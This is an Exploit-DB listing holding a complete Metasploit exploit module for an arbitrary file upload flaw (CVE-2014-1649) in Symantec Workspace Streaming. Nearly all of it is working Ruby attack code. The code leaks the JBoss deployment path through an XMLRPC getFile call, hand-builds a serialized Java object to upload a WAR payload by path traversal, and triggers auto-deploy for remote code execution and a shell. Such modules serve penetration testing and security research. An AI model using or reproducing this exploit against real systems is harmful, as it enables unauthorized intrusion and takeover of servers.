[remote] - Symantec Workspace Streaming Arbitrary File Upload : Exploit DB

##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'rexml/document'
  
  class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking
  
 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::FileDropper
 include REXML
  
 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Symantec Workspace Streaming Arbitrary File Upload',
 'Description' => %q{
 This module exploits a code execution flaw in Symantec Workspace Streaming. The
 vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
 as_agent.exe service, which allows for uploading arbitrary files under the server root.
 This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order
 to achieve remote code execution. This module has been tested successfully on Symantec
 Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single
 machine deployment, and also in the backend role in a multiple machine deployment.
 },
 'Author' =>
 [
 'rgod <rgod[at]autistici.org>', # Vulnerability discovery
 'juan vazquez' # Metasploit module
 ],
 'License' => MSF_LICENSE,
 'References'  =>
 [
 ['CVE', '2014-1649'],
 ['BID', '67189'],
 ['ZDI', '14-127'],
 ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00']
 ],
 'Privileged' => true,
 'Platform' => 'java',
 'Arch' => ARCH_JAVA,
 'Targets' =>
 [
 [ 'Symantec Workspace Streaming 6.1 SP8 / Java Universal', {} ]
 ],
 'DefaultTarget' => 0,
 'DisclosureDate' => 'May 12 2014'))
  
 register_options(
 [
 Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file)
 OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy)
 ], self.class)
 end
  
 def send_xml_rpc_request(xml)
 res = send_request_cgi(
 {
 'uri' => normalize_uri("/", "xmlrpc"),
 'method' => 'POST',
 'ctype' => 'text/xml; charset=UTF-8',
 'data' => xml
 })
  
 res
 end
  
 def build_soap_get_file(file_path)
 xml = Document.new
 xml.add_element(
 "methodCall",
 {
 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
 })
 method_name = xml.root.add_element("methodName")
 method_name.text = "ManagementAgentServer.getFile"
  
 params = xml.root.add_element("params")
  
 param_server_root = params.add_element("param")
 value_server_root = param_server_root.add_element("value")
 value_server_root.text = "*AWESE"
  
 param_file_type = params.add_element("param")
 value_file_type = param_file_type.add_element("value")
 type_file_type = value_file_type.add_element("i4")
 type_file_type.text = "0" # build path from the server root directory
  
 param_file_name = params.add_element("param")
 value_file_name = param_file_name.add_element("value")
 value_file_name.text = file_path
  
 param_file_binary = params.add_element("param")
 value_file_binary = param_file_binary.add_element("value")
 type_file_binary = value_file_binary.add_element("boolean")
 type_file_binary.text = "0"
  
 xml << XMLDecl.new("1.0", "UTF-8")
  
 xml.to_s
 end
  
 def build_soap_put_file(file)
 xml = Document.new
 xml.add_element(
 "methodCall",
 {
 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
 })
 method_name = xml.root.add_element("methodName")
 method_name.text = "ManagementAgentServer.putFile"
  
 params = xml.root.add_element("params")
  
 param_server_root = params.add_element("param")
 value_server_root = param_server_root.add_element("value")
 value_server_root.text = "*AWESE"
  
 param_file_type = params.add_element("param")
 value_file_type = param_file_type.add_element("value")
 type_file_type = value_file_type.add_element("i4")
 type_file_type.text = "0" # build path from the server root directory
  
 param_file = params.add_element("param")
 value_file = param_file.add_element("value")
 type_value_file = value_file.add_element("ex:serializable")
 type_value_file.text = file
  
 xml << XMLDecl.new("1.0", "UTF-8")
  
 xml.to_s
 end
  
 def build_soap_check_put
 xml = Document.new
 xml.add_element(
 "methodCall",
 {
 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
 })
 method_name = xml.root.add_element("methodName")
 method_name.text = "ManagementAgentServer.putFile"
 xml.root.add_element("params")
 xml << XMLDecl.new("1.0", "UTF-8")
 xml.to_s
 end
  
 def parse_method_response(xml)
 doc = Document.new(xml)
 file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable")
  
 unless file.nil?
 file = Rex::Text.decode_base64(file.text)
 end
  
 file
 end
  
 def get_file(path)
 xml_call = build_soap_get_file(path)
 file = nil
  
 res = send_xml_rpc_request(xml_call)
  
 if res && res.code == 200 && res.body
 file = parse_method_response(res.body.to_s)
 end
  
 file
 end
  
 def put_file(file)
 result = nil
 xml_call = build_soap_put_file(file)
  
 res = send_xml_rpc_request(xml_call)
  
 if res && res.code == 200 && res.body
 result = parse_method_response(res.body.to_s)
 end
  
 result
 end
  
 def upload_war(war_name, war, dst)
 result = false
 java_file = build_java_file_info("#{dst}#{war_name}", war)
 java_file = Rex::Text.encode_base64(java_file)
  
 res = put_file(java_file)
  
 if res && res =~ /ReturnObject.*StatusMessage.*Boolean/
 result = true
 end
  
 result
 end
  
 def jboss_deploy_path
 path = nil
 leak = get_file("bin/CreateDatabaseSchema.cmd")
  
 if leak && leak =~ /\[INSTALLDIR\](.*)ste\/ste.jar/
 path = $1
 end
  
 path
 end
  
 def check
 check_result = Exploit::CheckCode::Safe
  
 if jboss_deploy_path.nil?
 xml = build_soap_check_put
 res = send_xml_rpc_request(xml)
  
 if res && res.code == 200 && res.body && res.body.to_s =~ /No method matching arguments/
 check_result = Exploit::CheckCode::Detected
 end
 else
 check_result = Exploit::CheckCode::Appears
 end
  
 check_result
 end
  
 def exploit
 print_status("#{peer} - Leaking the jboss deployment directory...")
 jboss_path =jboss_deploy_path
  
 if jboss_path.nil?
 fail_with(Exploit::Unknown, "#{peer} - Failed to disclose the jboss deployment directory")
 end
  
 print_status("#{peer} - Building WAR payload...")
  
 app_name = Rex::Text.rand_text_alpha(4 + rand(4))
 war_name = "#{app_name}.war"
 war = payload.encoded_war({ :app_name => app_name }).to_s
 deploy_dir = "..#{jboss_path}"
  
 print_status("#{peer} - Uploading WAR payload...")
  
 res = upload_war(war_name, war, deploy_dir)
  
 unless res
 fail_with(Exploit::Unknown, "#{peer} - Failed to upload the war payload")
 end
  
 register_files_for_cleanup("../server/appstream/deploy/#{war_name}")
  
 10.times do
 select(nil, nil, nil, 2)
  
 # Now make a request to trigger the newly deployed war
 print_status("#{rhost}:#{ste_port} - Attempting to launch payload in deployed WAR...")
 res = send_request_cgi(
 {
 'uri' => normalize_uri("/", app_name, Rex::Text.rand_text_alpha(rand(8)+8)),
 'method' => 'GET',
 'rport' => ste_port # Auto Deploy can be reached through the "as_ste.exe" service
 })
 # Failure. The request timed out or the server went away.
 break if res.nil?
 # Success! Triggered the payload, should have a shell incoming
 break if res.code == 200
 end
  
 end
  
 def ste_port
 datastore['STE_PORT']
 end
  
 # com.appstream.cm.general.FileInfo serialized object
 def build_java_file_info(file_name, contents)
 stream = "\xac\xed" # stream magic
 stream << "\x00\x05" # stream version
 stream << "\x73" # new Object
  
 stream << "\x72" # TC_CLASSDESC
 stream << ["com.appstream.cm.general.FileInfo".length].pack("n")
 stream << "com.appstream.cm.general.FileInfo"
 stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7" # class serial version identifier
 stream << "\x02" # flags SC_SERIALIZABLE
 stream << [6].pack("n") # number of fields in the class
  
 stream << "Z" # boolean
 stream << ["bLastPage".length].pack("n")
 stream << "bLastPage"
  
 stream << "J" # long
 stream << ["lFileSize".length].pack("n")
 stream << "lFileSize"
  
 stream << "[" # array
 stream << ["baContent".length].pack("n")
 stream << "baContent"
 stream << "\x74" # TC_STRING
 stream << ["[B".length].pack("n")
 stream << "[B" # field's type (byte array)
  
 stream << "L" # Object
 stream << ["dTimeStamp".length].pack("n")
 stream << "dTimeStamp"
 stream << "\x74" # TC_STRING
 stream << ["Ljava/util/Date;".length].pack("n")
 stream << "Ljava/util/Date;" #field's type (Date)
  
 stream << "L" # Object
 stream << ["sContent".length].pack("n")
 stream << "sContent"
 stream << "\x74" # TC_STRING
 stream << ["Ljava/lang/String;".length].pack("n")
 stream << "Ljava/lang/String;" #field's type (String)
  
 stream << "L" # Object
 stream << ["sFileName".length].pack("n")
 stream << "sFileName"
 stream << "\x71" # TC_REFERENCE
 stream << [0x007e0003].pack("N") # handle
  
 stream << "\x78" # TC_ENDBLOCKDATA
 stream << "\x70" # TC_NULL
  
 # Values
 stream << [1].pack("c") # bLastPage
  
 stream << [0xffffffff, 0xffffffff].pack("NN") # lFileSize
  
 stream << "\x75" # TC_ARRAY
 stream << "\x72" # TC_CLASSDESC
 stream << ["[B".length].pack("n")
 stream << "[B" # byte array)
 stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0" # class serial version identifier
 stream << "\x02" # flags SC_SERIALIZABLE
 stream << [0].pack("n") # number of fields in the class
 stream << "\x78" # TC_ENDBLOCKDATA
 stream << "\x70" # TC_NULL
 stream << [contents.length].pack("N")
 stream << contents # baContent
  
 stream << "\x70" # TC_NULL # dTimeStamp
  
 stream << "\x70" # TC_NULL # sContent
  
 stream << "\x74" # TC_STRING
 stream << [file_name.length].pack("n")
 stream << file_name # sFileName
  
 stream
 end
  
  end

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